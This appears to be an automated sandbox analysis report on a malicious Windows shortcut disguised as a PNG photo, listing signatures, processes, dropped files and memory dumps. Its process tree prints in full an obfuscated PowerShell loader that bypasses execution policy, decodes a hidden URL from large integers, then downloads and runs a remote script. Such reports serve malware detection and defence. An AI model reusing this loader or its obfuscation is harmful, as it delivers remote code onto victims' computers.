Analysis

  • max time kernel
    149s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    05/06/2026, 11:59

General

  • Target
    PHOTO-113284950.png.lnk
  • Size 2KB
  • Sample260605-n5vrcset5v
  • SHA256 2b3c554c94356eaf27d4061f8f2cb05cb7ba6a16a3e4ea8ac7f5feb774659add
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-113284950.png.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$TNooWgIG=\"243964121538136613956774058899473516921\" -as [System.Numerics.BigInteger];$kCxBW=\"95825616855911678367683712689219690761\" -as [System.Numerics.BigInteger];$yHT1dYw=$TNooWgIG - $kCxBW;for($z18EnkyE=100+156;$yHT1dYw -ne 0;$yHT1dYw=$yHT1dYw / $z18EnkyE){$xsovneV+=[char]([int]($yHT1dYw % $z18EnkyE));};iwr $xsovneV -OutFile $env:TEMP\pWxUgFl0.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\pWxUgFl0.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:456
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\pWxUgFl0.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4972

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 1KB
        • SHA256 5226da3506c85d2ed701bea411ebd415b99b848935a0ecd50ad7fb0fd913ba05
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a90da21dcf547f3a467acd0817d3bfb08d23d00ffd989e175b41a0556c20890f
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_pc1mjcnq.2zc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pc1mjcnq.2zc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/456-2-0x0000019FFE920000-0x0000019FFE930000-memory.dmp

        memory/456-3-0x0000019FFE920000-0x0000019FFE930000-memory.dmp

        memory/456-10-0x0000019FE4F60000-0x0000019FE4F82000-memory.dmp

        memory/456-11-0x0000019FFE920000-0x0000019FFE930000-memory.dmp